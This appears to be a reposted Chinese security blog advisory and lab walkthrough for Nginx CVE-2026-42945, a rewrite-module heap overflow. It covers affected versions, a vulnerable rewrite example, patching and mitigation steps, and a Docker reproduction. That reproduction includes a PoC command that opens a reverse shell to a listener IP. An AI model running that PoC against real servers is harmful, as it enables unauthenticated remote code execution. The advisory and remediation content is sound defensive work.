文章总结: NginxCVE-2026-42945是ngx_http_rewrite_module中的堆缓冲区溢出漏洞,攻击者可无需认证远程执行代码。影响0.6.27至1.30.0版本。建议立即升级至1.30.1/1.31.0+或使用命名捕获临时缓解,并通过nginx-v验证修复。 综合评分: 88 文章分类: 漏洞分析,漏洞预警,WEB安全,网络安全,安全运营
Nginx 致命漏洞 CVE-2026-42945 复现
松杨网络安全资料库
2026年5月19日 16:54 广东
在小说阅读器读本章
去阅读
漏洞概述
2026 年 5 月,一个潜伏近 18 年的高危漏洞被正式披露。
Nginx ngx_http_rewrite_module 中存在一个堆缓冲区溢出漏洞,攻击者无需认证即可远程执行任意代码(RCE)。该漏洞影响范围极广,覆盖 Nginx 产品:开源版 OSS、企业版 Plus、云 WAF。
漏洞详情
| 项目 | 内容 | | — | — | | CVE 编号 | CVE-2026-42945 | | 漏洞名称 | Nginx-Rift | | 漏洞类型 | 堆缓冲区溢出(Heap Buffer Overflow) | | 影响组件 | ngx_http_rewrite_module | | 公开日期 | 2026 年 5 月 | | 影响版本 | NGINX OSS/Plus/WAF/Ingress Controller 0.6.27 ~ 1.30.0 | | 漏洞危害 | 远程代码执行(RCE),无需认证 |
影响范围
| 产品线 | 受影响版本 | 备注 | | — | — | — | | NGINX OSS | 0.6.27 ~ 1.30.0 | 开源版 | | NGINX Plus | R32 ~ R36 | 企业版 | | NGINX App Protect WAF | 4.9.0-4.16.0 5.1.0-5.8.0 | WAF 设备 |
漏洞原理
触发条件
当 rewrite 规则同时满足以下条件时会触发溢出:
- 使用未命名捕获(
$1、$2) - 替换字符串中包含字符
? - 两遍处理对
?字符的转义逻辑不一致 - 同一 location / 上下文连续使用 rewrite + set 指令
漏洞配置示例
# 受影响的配置
location /users {
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
}
漏洞修复
方案一:升级 Nginx(推荐)
| 版本分支 | 修复版本 | | — | — | | 1.30.x | 1.30.1及以上 | | 1.31.x | 1.31.0及以上 |
# Ubuntu / Debian
sudo apt update && sudo apt install nginx
# CentOS / RHEL
sudo yum update nginx
# 验证版本
nginx -v
方案二:修改 rewrite 配置(临时缓解)
将所有未命名捕获改为命名捕获:
# 修改前(存在漏洞)
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# 修改后(安全)
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<tab>[^/]+)$ /profile.php?id=$user_id&tab=$tab last;
修复验证
# 检查当前版本
nginx -v
# nginx version: nginx/1.30.1 ← 已修复
# 或检查编译信息
nginx -V 2>&1 | grep version
本地复现环境搭建
环境说明
复现环境使用 Docker 搭建,由漏洞作者提供的 Nginx-Rift 项目中的 docker-compose 配置,目标 Nginx 已编译为存在漏洞的版本,并禁用了 ASLR 以确保内存地址可预测。
步骤一:下载漏洞项目
git clone https://github.com/DepthFirstDisclosures/Nginx-Rift
cd Nginx-Rift
步骤二:启动 Docker 环境
cd env
docker compose build
docker compose up -d
注意:如果 Docker Hub 访问受限(国内网络),需要配置国内镜像加速:
# 编辑 ~/.docker/daemon.json { "registry-mirrors": [ "https://docker.1ms.run", "https://docker.xuanyuan.me" ] }修改后重启 Docker:
sudo systemctl restart docker
步骤三:验证 Nginx 可访问
curl http://localhost:19321
漏洞验证
反弹 Shell 验证
python poc.py --host 192.168.59.128 --port 19321 --shell --listen-ip 192.168.59.129
POC利用漏洞成功截图
漏洞危害评估
风险场景
| 场景 | 风险等级 | 说明 | | — | — | — | | 公网暴露的 Nginx(直接可访问) | 极高 | 攻击者可直接 RCE,无需任何凭据 | | 仅内网可访问的 Nginx | 高 | 需要内网渗透前置条件 | | 受 WAF/防火墙保护的 Nginx | 中 | WAF 可检测部分攻击特征 | | 已升级到 1.30.1/1.31.0 | 低 | 已修复,不受漏洞影响 |
排查命令
# 检查 Nginx 版本
nginx -v
# 检查所有运行中的 Nginx 实例版本
ps aux | grep nginx
# 检查是否存在 rewrite 规则(漏洞触发条件)
grep -r "rewrite" /etc/nginx/
grep -r "\$1\|\$2\|\$3" /etc/nginx/
- 本文仅供安全研究和技术交流使用,请勿用于未授权的系统测试。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:松杨网络安全资料库 《Nginx 致命漏洞 CVE-2026-42945 复现》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。






![[工具推荐]sql注入快速检测burp插件DetSql](/images/random/titlepic/10.jpg)


评论